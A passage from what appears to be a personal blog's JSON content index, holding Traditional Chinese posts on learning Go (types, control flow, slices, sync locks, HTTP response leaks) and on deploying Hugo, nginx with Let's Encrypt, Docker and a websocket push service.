safe。\n關於如何在golang中，如何安全的存取map，在後面講到gorotuine的時侯會介紹到。\n","permalink":"https://blog.syhlion.tw/2018/10/2019-10th-ithome30day-day7-golang-map/","summary":"\u003cp\u003eGolang 的 map，有蠻多小細節要注意的，例如thread safe相關的問題\u0026hellip;.\u003c/p\u003e","title":"Go劍復國-30天導入Golang Day7 Golang map"},{"content":"golang 的 array \u0026amp; slice 是個很有趣的東西，接下來就直接進入正題\nArray package main import ( \u0026#34;fmt\u0026#34; ) func main() { var a [5]string a[0] = \u0026#34;A\u0026#34; a[1] = \u0026#34;B\u0026#34; a[2] = \u0026#34;C\u0026#34; a[3] = \u0026#34;D\u0026#34; a[4] = \u0026#34;E\u0026#34; fmt.Printf(\u0026#34;array %#v\\n\u0026#34;, a) } https://play.golang.org/p/HmHwsNgE5R8\n看看 Array 的示意圖\nSlice package main import ( \u0026#34;fmt\u0026#34; ) func main() { var a []string a = make([]string, 5, 5) a[0] = \u0026#34;A\u0026#34; a[1] = \u0026#34;B\u0026#34; a[2] = \u0026#34;C\u0026#34; a[3] = \u0026#34;D\u0026#34; a[4] = \u0026#34;E\u0026#34; fmt.Printf(\u0026#34;array %#v\\n\u0026#34;, a) } // slice 需要使用 make 做初始化才能開始使用 https://play.golang.org/p/LrDLjK8sQfT\n這是兩者最明顯的差別，接下來談談 Slice 內部運作的原理\n首先 Slice 裡面會有三種資料型態紀錄\n如果以上面 code 範例示意，他的初始化圖會像下面這樣\n那我們繼續延伸一下\npackage main import ( \u0026#34;fmt\u0026#34; ) func main() { var a []string a = make([]string, 5, 5) a[0] = \u0026#34;A\u0026#34; a[1] = \u0026#34;B\u0026#34; a[2] = \u0026#34;C\u0026#34; a[3] = \u0026#34;D\u0026#34; a[4] = \u0026#34;E\u0026#34; fmt.Printf(\u0026#34;a array %#v\\n\u0026#34;, a) s := a[2:4] //s[0] == \u0026#34;C\u0026#34; //s[1] == \u0026#34;D\u0026#34; //len(s) == 2 //cap(s) == 3 s[0] = \u0026#34;Z\u0026#34; // a[2] == \u0026#34;Z\u0026#34; 這段是拿來證明 s是參照到 a fmt.Printf(\u0026#34;s array %#v\\n\u0026#34;, s) fmt.Printf(\u0026#34;a array %#v\\n\u0026#34;, a) } https://play.golang.org/p/MKojisrB5DO\nSlice 切片出來的東西，都是創建一個新的Slice指向原本的Slice，所以原本的abcde slice，被切成 2-4，就會變成只有 C 跟 D, 但他的容量(cap)一開始規劃出來是 5，5-2=3，長度(len)則是 4-2=2。\nSlice 有一個重點就是在於 長度(len)不可大於(cap)否則會噴錯。\nSlice 陷阱 我們常常需要取用某個小段的 Slice ，但 Slice 的原理都是給出參照，以上面為例，我們可能只需要 C, D 兩值，但是用 Slice 取出來卻會造成，其他 A , B , E 都一直存活著， 比較好的作法是用 copy，要如何 copy 呢，來看個範例\ncopy 是 buit-in function\npackage main import ( \u0026#34;fmt\u0026#34; ) func main() { var a []string a = make([]string, 5, 5) a[0] = \u0026#34;A\u0026#34; a[1] = \u0026#34;B\u0026#34; a[2] = \u0026#34;C\u0026#34; a[3] = \u0026#34;D\u0026#34; a[4] = \u0026#34;E\u0026#34; fmt.Printf(\u0026#34;a array %#v\\n\u0026#34;, a) s := make([]string, len(a)) copy(s, a) s[2] = \u0026#34;Z\u0026#34; fmt.Printf(\u0026#34;s array %#v\\n\u0026#34;, s) fmt.Printf(\u0026#34;a array %#v\\n\u0026#34;, a) } https://play.golang.org/p/iWAA_LKyjmG\n","permalink":"https://blog.syhlion.tw/2018/10/2019-10th-ithome30day-day6-golang-array-and-slice/","summary":"\u003cp\u003egolang 的 array \u0026amp; slice 是個很有趣的東西，接下來就直接進入正題\u003c/p\u003e","title":"Go劍復國-30天導入Golang Day6 Golang array \u0026 slice"},{"content":"再來進到 golang 邏輯控制的部分，go 因為保留字很少，相對的他的邏輯控制也相當簡單，下面就來介紹他\ngolang 正式來說有四種邏輯控制結構分別是:\nfor if switch goto for 先來起手式，跑10次迴圈並印出每次結果\npackage main import ( \u0026#34;fmt\u0026#34; ) func main() { for i:=0;i\u0026lt;10;i++ { fmt.Println(i) } } https://play.golang.org/p/Bjy35JD63DT\nfor 也能當作 其他語言的 while使用，來看看下面範例\npackage main import ( \u0026#34;fmt\u0026#34; ) func main() { i := 0 for i \u0026lt; 10 { fmt.Println(i) i++ } } https://play.golang.org/p/ArR0Kqy6ebO\nif 我們延續for的 第一個範例稍作改良，不在迴圈聲明裡面指定範圍，而是在迴圈裡面加入 if 判斷式，來判斷範圍跳出迴圈\npackage main import ( \u0026#34;fmt\u0026#34; ) func main() { i :=0 for { if i\u0026gt;9 { break } fmt.Println(i) i++ } } https://play.golang.org/p/7RkJtF0UB00\n有 if 當然也有else了\npackage main import ( \u0026#34;fmt\u0026#34; ) func main() { i := 0 for i \u0026lt; 10 { if i \u0026lt; 5 { fmt.Printf(\u0026#34;%d 小於 %d\\n\u0026#34;, i, 5) } else { fmt.Printf(\u0026#34;%d 大於或等於 %d\\n\u0026#34;, i, 5) } i++ } } https://play.golang.org/p/adAxV5rycuo\nif 有一個很方便的方法\npackage main import ( \u0026#34;fmt\u0026#34; ) func Test() int { return 5 } func main() { if a := Test(); a \u0026gt;= 5 { fmt.Println(a) } else { fmt.Println(\u0026#34;no hit\u0026#34;) } } 他可以呼叫完func 直接在一行裡面，對那個值做邏輯判斷，蠻多情境下，可以讓你的code，更清爽。\nhttps://play.golang.org/p/rxHltWNF5oZ\nswitch switch 一般來說，是用在你的條件很多，如果用if去做，整個結構會看起來很複雜，所以這種情況就非常適合用switch\npackage main import ( \u0026#34;fmt\u0026#34; ) func main() { a := 1 switch a { case 1: fmt.Println(\u0026#34;hit 1\u0026#34;) case 2: fmt.Println(\u0026#34;hit 2\u0026#34;) default: fmt.Println(\u0026#34;no hit\u0026#34;) } } golang switch 跟其他語言不太一樣，他不需要特別下 break 這個關鍵字來跳出 case\nhttps://play.golang.org/p/zHPVEojo1y2\ngoto 基於個人喜好，以及這個結構，我只能想到，會造成 code 的複雜以及難閱讀，在推廣的角度下，不鼓勵大家用，所以也就不多做介紹了。\n","permalink":"https://blog.syhlion.tw/2018/10/2019-10th-ithome30day-day5-golang-control-flow/","summary":"\u003cp\u003e再來進到 golang 邏輯控制的部分，go 因為保留字很少，相對的他的邏輯控制也相當簡單，下面就來介紹他\u003c/p\u003e","title":"Go劍復國-30天導入Golang Day5 Golang 邏輯控制"},{"content":"golang 型別，其實和絕大多數的靜態強型別的語言，沒什麼兩樣，而且他是c like的語言，所以如果對 C 稍微有點概念的人，會覺得 golang 非常的親切，接下來我們就來介紹他的型別\n數字型別 下面這份參照自官網\nuint8 the set of all unsigned 8-bit integers (0 to 255) uint16 the set of all unsigned 16-bit integers (0 to 65535) uint32 the set of all unsigned 32-bit integers (0 to 4294967295) uint64 the set of all unsigned 64-bit integers (0 to 18446744073709551615) int8 the set of all signed 8-bit integers (-128 to 127) int16 the set of all signed 16-bit integers (-32768 to 32767) int32 the set of all signed 32-bit integers (-2147483648 to 2147483647) int64 the set of all signed 64-bit integers (-9223372036854775808 to 9223372036854775807) float32 the set of all IEEE-754 32-bit floating-point numbers float64 the set of all IEEE-754 64-bit floating-point numbers complex64 the set of all complex numbers with float32 real and imaginary parts complex128 the set of all complex numbers with float64 real and imaginary parts byte alias for uint8 rune alias for int32 下面我們來看一下:\npackage main import ( \u0026#34;fmt\u0026#34; ) func main() { var ( a float64 = 1 b float64 = 1 c float64 = 1.2 ) d:=a+b fmt.Println(d) fmt.Println(c+d) } https://play.golang.org/p/vF1uzxwd-8j\n在這邊另外介紹一個東西叫做強轉型，如果float32跟float64要做運算的話，正常情況這兩個型別是無法直接做運算，所以float32要做強轉，在這邊建議，一般是建議小type轉成大type，而不要大type轉小type，以免造成數值失真，範例如下:\npackage main import ( \u0026#34;fmt\u0026#34; ) func main() { var ( a float64 = 1 b float32 = 1 c float64 = 1.2 ) d := a + float64(b) fmt.Println(d) fmt.Println(c + d) } https://play.golang.org/p/BFABBWaP-Hf\n字串型別 字串來說非常容易，就是以雙引號包起來的都叫做字串，這邊範例介紹一下，如何簡易的做字串串接:\npackage main import ( \u0026#34;fmt\u0026#34; ) func main() { var ( a string = \u0026#34;Hello\u0026#34; b string = \u0026#34;World\u0026#34; ) d := a+b fmt.Println(d) } https://play.golang.org/p/2SUk-UlSSRm\n上述這個字串串接的方法不是 best practice ，原因在於這種字串串法，會額外產生一塊記憶體空間，有興趣研究的可以參考Efficient String Concatenation in Go的各式串接方式\n布林型別 範例:\npackage main import ( \u0026#34;fmt\u0026#34; ) func main() { var ( a bool = true b bool = false ) fmt.Println(a \u0026amp;\u0026amp; b) fmt.Println(a || b) } https://play.golang.org/p/6eirvfO2aVs\n","permalink":"https://blog.syhlion.tw/2018/10/2019-10th-ithome30day-day4-golang-types/","summary":"\u003cp\u003egolang 型別，其實和絕大多數的靜態強型別的語言，沒什麼兩樣，而且他是c like的語言，所以如果對 C 稍微有點概念的人，會覺得 golang 非常的親切，接下來我們就來介紹他的型別\u003c/p\u003e","title":"Go劍復國-30天導入Golang Day4 Golang型別"},{"content":"golang 在宣告變數上，也是我一個很喜歡的地方。 他擁有很多腳本語言(script language)的簡潔，但又擁有強型別的特性，下面就來介紹一些變數的宣告方式\n宣告變數 下面是一般的宣告方式，可以用逗號的方式區隔開來:\npackage main import ( \u0026#34;fmt\u0026#34; ) var a,b,c int var x,y,z bool func main() { fmt.Println(a,b,c,x,y,z) } 也可以用這種一行行的方式宣告:\npackage main import ( \u0026#34;fmt\u0026#34; ) var ( a int b int c int x bool y bool z bool ) func main() { fmt.Println(a, b, c, x, y, z) } 也能混合式這樣宣告:\npackage main import ( \u0026#34;fmt\u0026#34; ) var ( a, b, c int x, y, z bool ) func main() { fmt.Println(a, b, c, x, y, z) } 初始化變數 一樣有幾種初始化的方式，對應上述宣告的方式，第一種如下:\npackage main import ( \u0026#34;fmt\u0026#34; ) var a,b,c int = 1,2,3 var x,y,z bool = true,false,true func main() { fmt.Println(a,b,c,x,y,z) } 再來是最基礎的行式宣告:\npackage main import ( \u0026#34;fmt\u0026#34; ) var ( a int = 1 b int = 1 c int = 1 x bool = true y bool = true z bool = true ) func main() { fmt.Println(a, b, c, x, y, z) } 混合式:\npackage main import ( \u0026#34;fmt\u0026#34; ) var ( a, b, c int = 1,2,3 x, y, z bool = true,false,true ) func main() { fmt.Println(a, b, c, x, y, z) } 最後 golang 有提供一種語法糖的宣告方式，可以不用顯示宣告型別，不過只能在func裡面做宣告\npackage main import ( \u0026#34;fmt\u0026#34; ) func main() { a := 1 b := 1 c := 1 x := true y := true z := true fmt.Println(a, b, c, x, y, z) } 還有其他的變形如下:\npackage main import ( \u0026#34;fmt\u0026#34; ) func main() { a, b, c := 1,1,1 x,y,z:=true,true,true fmt.Println(a,b,c,x,y,z) } ","permalink":"https://blog.syhlion.tw/2018/10/2019-10th-ithome30day-day3-golang-declare-variables/","summary":"\u003cp\u003egolang 在宣告變數上，也是我一個很喜歡的地方。 他擁有很多腳本語言(script language)的簡潔，但又擁有強型別的特性，下面就來介紹一些變數的宣告方式\u003c/p\u003e","title":"Go劍復國-30天導入Golang Day3 如何宣告變數"},{"content":"golang的環境安裝，以及環境的相依性來說，我個人認為，在我碰過的語言中，他是最親切也是最容易的。我個人建議不要使用 os 自帶的 package manager (ex apt-get、brew\u0026hellip;.)安裝，直接上官網下載原始檔下來安裝，以下教學為unix like的環境，應該mac、linux都通用。\n環境安裝 首先到這裡下載 golang 的 compiler 相關安裝，寫此篇文章時當前最新版號為1.11.1。\ngolang 目前更新週期非常固定 每年固定1月、跟7月，都會固定做中版號的更新\n首先要在 os 的環境變數下設定以下參數\nexport GOROOT=$HOME/dev/go1.11 export PATH=$PATH:$GOROOT/bin export GOPATH=$HOME/dev/godev export PATH=$PATH:$GOPATH/bin 第一個GOROOT的路徑為你從官網下載下來的安裝檔的解壓縮路徑，裡面放著golang的compiler，以及所有官方提供的標準函式庫(stdlib)，相關的原始碼也能在裡面閱讀到。再來的GOPATH為個人的開發目錄以及第三方套件的放置的地方。\n以下為從官網擷取來的個人開發目錄範例:\nbin/ hello # command executable outyet # command executable src/ github.com/golang/example/ .git/ # Git repository metadata hello/ hello.go # command source outyet/ main.go # command source main_test.go # test source stringutil/ reverse.go # package source reverse_test.go # test source golang.org/x/image/ .git/ # Git repository metadata bmp/ reader.go # package source writer.go # package source ... (many more repositories and packages omitted) ... 再來要測試環境是否安裝成功可以下:\ngo version\n確定版本為1.11.1\n最後簡單寫個小範例看是否能作動，首先\ncd $GOPATH mkdir hellogolang cd hellogolang 再來創建一個main.go，再把以下的code 貼入\npackage main import \u0026#34;fmt\u0026#34; func main() { fmt.Println(\u0026#34;hello golang\u0026#34;) } 最後下指令\ngo run *.go 應該就會出現 hello golang，如此環境設定就告一個段落。\n最後，golang 有一些相關的指令，在這並不多作介紹，請參考官網詳解\n","permalink":"https://blog.syhlion.tw/2018/10/2019-10th-ithome30day-day2-install-golang/","summary":"\u003cp\u003egolang的環境安裝，以及環境的相依性來說，我個人認為，在我碰過的語言中，他是最親切也是最容易的。我個人建議不要使用 os 自帶的 package manager (ex apt-get、brew\u0026hellip;.)安裝，直接上官網下載原始檔下來安裝，以下教學為unix like的環境，應該mac、linux都通用。\u003c/p\u003e","title":"Go劍復國-30天導入Golang Day2 如何安裝環境"},{"content":"敝公司當初的technology stack 都是以 linux + php + nginx 為公司標配的開發的 模式，以初期的發展模式來說php 有幾個優點:\n社群龐大 學習曲線低 framework百家爭鳴 招募人才容易 選擇php的確是一時之選，但到了中後期公司的業績逐步成長，追求的不再是快速開發，\u0026gt;反而是需要穩定，而且在執行效率優良的方案。\n以我個人來說，當初接到這個任務，評估過的語言有nodejs、java、python、golang，我自己列出我自己想要的需求為下:\n強型別 高效能 學習曲線中等 社群不能太小 官方文件好閱讀 至於各語言的淘汰原因為下:\nnodejs，在一些啟動相關前置套件，我覺得過於龐大，所以不採用。 java則是官方api文件太過於龐大複雜，而且個人不太喜歡那麼純oop的語言，所以也不 採用。 python 則是 2跟3之間的戰爭實在是拖太久，我無法深入的去了解到底要以哪個版本當 切入，所以也不採用。 Go的優勢 官方api文件非常好閱讀 跨平台編譯。 語法簡單(保留字只有25個)。 非常容易使用併發(goroutine)，且成本非常的低。 gofmt，官方直接強制指定coding style。 內建GC(garbage collection)，減少學習曲線。 標準函式庫(stdlib)，非常豐富。 開放原始碼(open souce)。 靜態強型別語言，但語法又類似腳本語言的輕快。 版本更新穩定，固定半年一版，且都兼容。 背後的老大哥是google。 ","permalink":"https://blog.syhlion.tw/2018/10/2019-10th-ithome30day-day1-why-choose-golang/","summary":"\u003cp\u003e敝公司當初的technology stack 都是以 linux + php + nginx 為公司標配的開發的\n模式，以初期的發展模式來說php 有幾個優點:\u003c/p\u003e","title":"Go劍復國-30天導入Golang Day1 為何選擇golang?"},{"content":"之前有寫過一篇在 github 寫 blog 的 文章，主要是介紹 hexo，現在又發現另一套我更喜歡用的 hugo。\n用起來雖然沒有 hexo 那麼方便，提供很多套部署方式，不過優點是 hugo 是用 golang 寫的，執行效率非常快速。不需要像 hexo 用 nodejs 需要相依在 npm 上面，執行效率不佳。\nhugo 的 安裝，非常簡單，看是需要選擇官方已經 build 好的 bin 使用，或是直接使用 golang 提供的方法自己 build 也行， 基本上只要熟悉 golang 的人，應該都非常喜歡這個方式。\nhugo 官方基本上也提供非常多種的 themes ，甚至有非常多是從 hexo 移植過來的，像我目前用的這個，也是有善心人士，從原本 hexo 版本移植過來的。\n接下要來筆記一下，因為 hugo 並沒有像 hexo 有提供非常多 deploy 的方式，我比較偏好，產生完靜態 html ，直接把 html deploy 到主機上透過 nginx 靜態把 http request 轉進來。\n再來下面是一個利用 rsync 的 shell，透過這個指令，就可以做到一鍵部署的原則。\n#!/bin/sh USER={USER} HOST={HOST} DIR={HTML ROOT} hugo \u0026amp;\u0026amp; rsync -avz --delete public/ ${USER}@${HOST}:~/${DIR} exit 0 ","permalink":"https://blog.syhlion.tw/2017/07/hugo-deploy-by-rsync/","summary":"\u003cp\u003e之前有寫過一篇在 github 寫 blog 的 \u003ca href=\"/2015/06/how-to-write-blog-in-github/\"\u003e文章\u003c/a\u003e，主要是介紹 \u003ca href=\"https://hexo.io/\"\u003ehexo\u003c/a\u003e，現在又發現另一套我更喜歡用的 \u003ca href=\"https://gohugo.io/\"\u003ehugo\u003c/a\u003e。\u003c/p\u003e\n\u003cp\u003e用起來雖然沒有 hexo 那麼方便，提供很多套部署方式，不過優點是 hugo 是用 golang 寫的，執行效率非常快速。不需要像 hexo 用 nodejs 需要相依在 npm 上面，執行效率不佳。\u003c/p\u003e","title":"hugo deploy by rsync"},{"content":"這次碰上的是如何在 container 裡面的 nginx 掛上 ssl。\n主要是這次移機，從 vultr 移到 linode 新的日本機房，這次移完，趁這個機會練習一下全機服務 container 化，所以這次不管是 nginx 還是 gitea ，或是之後要起來的服務，都會讓他在 container 裡面跑。\n我們要去 letencrypt，先取得 ssl 憑證。照著 這邊 的操作，可以先產生 ssl 的憑證。\n再來是 nginx site config\nserver { listen 443 ssl; ssl_certificate /etc/letsencrypt/live/{YOUR-DOMAIN}/fullchain.pem; ssl_certificate_key /etc/letsencrypt/live/{YOUR-DOMAIN}/privkey.pem; ssl_protocols TLSv1 TLSv1.1 TLSv1.2; ssl_ciphers ECDH+AESGCM:EDCH+AES256:ECDH+AES128:!MD5:!aNULL; ssl_prefer_server_ciphers on; ssl_session_cache shared:SSL:10m; ssl_session_timeout 1h; ssl_stapling on; ssl_stapling_verify on; server_name {YOUR-DOMAIN}; root /usr/share/nginx/html/{YOUR-FLODER}; index index.html; location / { try_files $uri $uri/ =404; } } # 把80port 轉到443 server { listen 80; server_name {YOUR-DOMAIN}; return 301 https://$host$request_uri; } 由上面可以看到， letencrypt 會把憑證產生在/etc/Letsencrypt下面依照你的 domain 分放不同資料夾。\n再來是 docker 的啟動指令了\ndocker run --name test-nginx -v /etc/Letsencrypt:/etc/Letsencrypt -v ~/{YOUR_FLODER}:/usr/share/nginx/html/{FLODER-NAME} -v ~/{NGINX-CONFIG}:/etc/nginx/sites-available -d nginx 上面第一個 volume 意思就是把外部主機所產生的 ssl 憑證掛載進去 container 裡面，第二個 volume 是把 html 網頁掛載進去，第三個則是把 nginx config 掛載進去\n這樣就把所有可變變數抽放在母體主機上面，但實際運作則是由 container 運作。\n","permalink":"https://blog.syhlion.tw/2017/07/use-docker-nginx-letsencrypt/","summary":"\u003cp\u003e這次碰上的是如何在 container 裡面的 nginx 掛上 ssl。\u003c/p\u003e\n\u003cp\u003e主要是這次移機，從 \u003ca href=\"https://www.vultr.com/\"\u003evultr\u003c/a\u003e 移到 \u003ca href=\"https://www.linode.com/\"\u003elinode\u003c/a\u003e 新的日本機房，這次移完，趁這個機會練習一下全機服務 container 化，所以這次不管是 nginx 還是 gitea ，或是之後要起來的服務，都會讓他在 container 裡面跑。\u003c/p\u003e","title":"如何讓 letsencrypt 用在 docker nginx 上面"},{"content":"之前有寫一篇文章介紹自己的練習專案 gusher，沒想到過沒多久，竟然朝著要cluster方向前進，所以理論當然它就進化了，稍微紀錄一下這兩年來的變化。\n首先，我們先來看看下面這張架構變化圖，左邊為舊的gusher，右邊為gusher.cluster\n為了因應連線上越來越大的需求，在gusher推出後，就開始設計如何能夠簡易的橫向擴充機制，由上圖可以看出，原本的機制必須要由gusher，承受全部流量，改成右邊gusher.cluster的狀態後，透過redis當作平行擴充的一個轉接，gusher.cluster，主要分成兩個mode:\nslave mode: 只提供一個功能，客戶端websocket連線，每一個slave mode server，各自管理自己的連線，接收到來自redis推播來的訊息，再透過演算法把訊息個別送到該訊息的訂閱客戶端。 master mode: 則是接收其他服務想要對客端傳送訊息，把訊息推入redis。 目前這個架構下，還是無法避免單點故障(SPOF)，只要redis死掉，服務會全部死掉，未來的改版會朝這個方向去改進去。\n在這個版本gusher.cluster實現了channel機制，客戶端可以依照自己權限，訂閱自己想要聽的channel，沒訂閱到的channel，客戶端並不會收到。與舊版本gusher的差異在於，舊版本一條連線建立後，所有需求都必須要在這條線上傳送，如果有新增業務邏輯，除非多加連線，否則客端的js需要實作很多特殊邏輯去繞過。在這點上節省了非常多不必要的開銷。\n當然原本的gusher對客戶端完全單是單向溝通，客戶端無法反向傳訊息回server，在gusher.cluster改善了這一點，新增的remote的命令，做到可以跟server雙向同步溝通。以達到更多的應用。\n下一篇會介紹有關於remote的進階應用。\n","permalink":"https://blog.syhlion.tw/2017/07/gusher.cluster-introduction/","summary":"\u003cp\u003e之前有寫一篇文章介紹自己的練習專案 \u003ca href=\"/2015/10/gusher-introduction\"\u003egusher\u003c/a\u003e，沒想到過沒多久，竟然朝著要cluster方向前進，所以理論當然它就進化了，稍微紀錄一下這兩年來的變化。\u003c/p\u003e","title":"gusher.cluster 介紹"},{"content":"現在身為一個21世紀的 web 沒有上個 ssl 怎麼算是很潮的 web ，剛好趕搭最近 letencrypt 正式開始，就來幫我幾個 Domain 做 ssl 加密\n目前它官方提供出來的 plugin 只有 apache，nginx 版的問題好像還不少，所以還是要手動設定，首先照著它的說明\n$ git clone https://github.com/letsencrypt/letsencrypt $ cd letsencrypt 他有提供兩種憑證驗證方式\nwebroot standalone 兩者差異在於，webroot，驗證時不用關閉現有web 服務，ex nginx,apache\u0026hellip;，他的原理是在你的 web root 寫一個檔案，然後由他的server來存取值這個檔案，驗證這個 domain 屬於你這台主機，後者則是會自己啟動一個 web 服務，所以才需要關掉現有服務。\n我個人比較推薦用 webroot來做驗證，因為這個 letsencrypt 所發的憑證要3個月 renwe 一次，這樣未來在 renew 時，不會因此造成你的 web 服務暫時性的中斷。\n接下來我們來看看 如何用 webroot 設定\n$ ./letsencrypt-auto certonly --webroot -w /var/www/example -d example.com -d www.example.com -w /var/www/thing -d thing.is -d m.thing.is 它可以指定不同的 web root 一個root 可以掛上不同的 domain，在 -w 之後可以掛上 -d，基本上一個 -w就會有1個 或 N個 -d\n在來看看 nginx 的設定\n首先先把 原本這行的設定註解掉\nlisten 80; 加入以下這些\nlisten 443 ssl; # 執行完上面的憑證驗證，它自動會在/etc/letsencrypt/live 下面產生 domain 的資料夾 ssl_certificate /etc/letsencrypt/live/YourDomain/fullchain.pem; ssl_certificate_key /etc/letsencrypt/live/YourDomain/privkey.pem; ssl_protocols TLSv1 TLSv1.1 TLSv1.2; ssl_ciphers ECDH+AESGCM:EDCH+AES256:ECDH+AES128:!MD5:!aNULL; ssl_prefer_server_ciphers on; ssl_session_cache shared:SSL:10m; ssl_session_timeout 1h; ssl_stapling on; ssl_stapling_verify on; 如果要強制把http 轉導到 https 則加入以下設定\nserver { listen 80; server_name YourDomain; return 301 https://$host$request_uri; } 當然上面有講過這個憑證有效期限只有3個月，所以我們需要固定時間來做 renew 的動作，這時侯就要靠 crontab 來幫忙了\n首先我們自己先自己寫一段 script 取名叫做 le-renew.sh\n#!/bin/sh sudo /{path}/letsencrypt-auto certonly --webroot --renew-by-default --agree-tos -m yourmail@mail.com -w /webroot -d domain -w /webroot2 -d domain2 記得要給他的執行權限\n$ chmod +x le-renew.sh 然後下\n$ sudo crontab -e 寫入\n30 2 * * 1 /{path}/le-renew.sh \u0026gt;\u0026gt; /{path}/le-renew.log ","permalink":"https://blog.syhlion.tw/2016/01/how-to-set-letsencrypt-with-nginx/","summary":"\u003cp\u003e現在身為一個21世紀的 web 沒有上個 ssl 怎麼算是很潮的 web ，剛好趕搭最近 \u003ca href=\"https://github.com/letsencrypt/letsencrypt\"\u003eletencrypt\u003c/a\u003e 正式開始，就來幫我幾個 Domain 做 ssl 加密\u003c/p\u003e","title":"如何把 letsencrypt 套用在 nginx"},{"content":"我想在寫任何多執行序(mulit thread)的程式時，最常碰到就是 data race的問題，讀書會剛好我負責講解這篇，也替自己做一個筆記。\n首先先介紹一下 sync 這個 package裡面需要了解到的api。\nsync 先介紹一下 golang 的 package sync 他有實現兩種鎖 Mutex \u0026amp; RWMutex，RWMutex 是基於 Mutex實現的\nsync.Mutex 又稱全局鎖、互斥鎖，使用Lock() 後 便不能在對它加鎖，直到Unlock()呼叫，反之在Unlock()呼叫之前，沒有Lock()執行過，會噴錯\nvar l sync.Mutex var a string func f() { a = \u0026#34;hello, world\u0026#34; l.Unlock() } func main() { l.Lock() go f() l.Lock() print(a) } example\n第二個l.Lock 會在那邊等待第一個 l.Lock 被 f() 裡面的 l.Unlock 解鎖後才會繼續往下執行\nsync.RWMutex 可以稱為讀寫鎖，可以加多個讀鎖或是一個寫鎖，呼叫寫鎖時 Lock()，如果有其他的讀鎖或是寫鎖，則Lock()或阻塞到該鎖可以用為止，就是寫鎖時優先寫鎖\nRLock()\nvar m *sync.RWMutex func main() { m = new(sync.RWMutex) go read(1) go read(2) //為了等待其他goroutine 跑完 time.Sleep(10*time.Second) } func read(i int) { println(i,\u0026#34;read start\u0026#34;) m.RLock() println(i,\u0026#34;reading\u0026#34;) time.Sleep(1*time.Second) m.RUnlock() println(i,\u0026#34;read over\u0026#34;) } example\nLock()\nvar m *sync.RWMutex func main() { m = new(sync.RWMutex) go write(1) go read(2) go write(3) //為了等待其他 goroutine 跑完 time.Sleep(10*time.Second) } func read(i int) { println(i,\u0026#34;read start\u0026#34;) m.RLock() println(i,\u0026#34;reading\u0026#34;) time.Sleep(1*time.Second) m.RUnlock() println(i,\u0026#34;read over\u0026#34;) } func write(i int) { println(i,\u0026#34;write start\u0026#34;) m.Lock() println(i,\u0026#34;writing\u0026#34;) time.Sleep(1*time.Second) m.Unlock() println(i,\u0026#34;write over\u0026#34;) } example\nsync.WaitGroup func main() { var wg sync.WaitGroup //所有要抓取的url var urls = []string{ \u0026#34;http://www.golang.org/\u0026#34;, \u0026#34;http://www.google.com/\u0026#34;, \u0026#34;http://tw.yahoo.com/\u0026#34;, } for _, url := range urls { // 群組計數器 wg.Add(1) // Launch a goroutine to fetch the URL. go func(url string) { // 這個 goroutine結束 遞減 defer wg.Done() // 抓url http.Get(url) fmt.Println(url); }(url) } // 等待全部response返回 wg.Wait() fmt.Println(\u0026#34;over\u0026#34;); } example\nData Race 再來，有的前面的介紹我們進入一些比較時常見的應用，我們了解一下什麼是 data race 以下引自 wiki\nA race condition or race hazard is the behavior of an electronic, software or other system where the output is dependent on the sequence or timing of other uncontrollable events. It becomes a bug when events do not happen in the order the programmer intended. The term originates with the idea of two signals racing each other to influence the output first. Race conditions can occur in electronics systems, especially logic circuits, and in computer software, especially multithreaded or distributed programs.\n簡單來說就是兩個進程都要修改一個共享內容時，在沒有併發控制的情況，只能仰賴兩個進程執行順序與時機，會導致結果錯誤。\n用個簡單例子來說，下面是一個在其他語言很常見的 singleton 模式，如果要再這種 muilt thread 環境運行下，該怎麼確保資源不會重複建構\ntype Singleton struct{ Data int } var instance * Singleton func GetInstance() * Singleton { if instance == nil { time.Sleep(5 * time.Second) // 仿造一個耗費資源的建構情境 println(\u0026#34;Init instance\u0026#34;) instance = \u0026amp;Singleton{42} } println(\u0026#34;finish instance\u0026#34;) return instance } func main(){ go GetInstance() go GetInstance() // 等待上面兩個 goroutine 執行完 time.Sleep(7 * time.Second) println(\u0026#34;end\u0026#34;) } example\n加入前面講過得讀寫鎖，防止重複建構\nvar mutex = \u0026amp;sync.RWMutex{} type Singleton struct{ Data int } var instance * Singleton func GetInstance() * Singleton { mutex.RLock() if instance == nil { mutex.RUnlock() mutex.Lock() defer mutex.Unlock() if instance == nil { time.Sleep(5 * time.Second) // 仿造一個耗費資源的建構情境 println(\u0026#34;Init instance\u0026#34;) instance = \u0026amp;Singleton{42} } println(\u0026#34;finish instance\u0026#34;) return instance }else { defer mutex.RUnlock() println(\u0026#34;instance exist\u0026#34;) return instance } } func main(){ go GetInstance() go GetInstance() // 等待上面兩個 goroutine 執行完 time.Sleep(7 * time.Second) println(\u0026#34;end\u0026#34;) } example\n","permalink":"https://blog.syhlion.tw/2015/11/how-to-implement-thread-safe-in-go/","summary":"\u003cp\u003e我想在寫任何多執行序(mulit thread)的程式時，最常碰到就是 data race的問題，讀書會剛好我負責講解這篇，也替自己做一個筆記。\u003c/p\u003e\n\u003cp\u003e首先先介紹一下 sync 這個 package裡面需要了解到的api。\u003c/p\u003e","title":"Go 裡面 sync lock 應用"},{"content":"最近在寫 go 時，碰到一個地雷，花了一整天，最終發現是很基本的問題，看來自己功力還是太淺，在這方面還需要多加強，在這裡紀錄一下歷程\n首先我最近因為 Demo 需要，做了一個 guser proxy (gusher介紹)，降低其他 application 存取複雜度。\nfunc main() { u:=\u0026#34;http://xxx.com/api\u0026#34; client := \u0026amp;http.Client{} i:=0 for i\u0026lt;100 { v := url.Values{} v.Add(\u0026#34;content\u0026#34;, \u0026#34;test\u0026#34;) req, err := http.NewRequest(\u0026#34;POST\u0026#34;, u, bytes.NewBufferString(v.Encode())) _,err:=client.Do(req) i++ } } 這是一個簡單的 simple code，基本上就是重複的對一個 url 發出 request，我踩到的地雷就是因為個人偷懶，把 client 回傳的 response，直接忽略掉，導致資源一直咬著，最後會觸發 Socket:too many open files。\n後來利用 lsof 指令去觀看開啟資源，才發現這個疏忽，解法如下\nfunc main() { u:=\u0026#34;http://xxx.com/api\u0026#34; client := \u0026amp;http.Client{} i:=0 for i\u0026lt;100 { v := url.Values{} v.Add(\u0026#34;content\u0026#34;, \u0026#34;test\u0026#34;) req, err := http.NewRequest(\u0026#34;POST\u0026#34;, u, bytes.NewBufferString(v.Encode())) resp,err:=client.Do(req) resp.Body.Close() i++ } } 經過這次教訓，其實又認識了很多 linux 底層的東西，跟一些指令除錯，之前從同事那邊學到一句蠻受用的名言\n每個 error 都乖乖處理，不要忽略，就不會發生不預期的錯誤\n這次我給自己的一句話就是\n每個 return 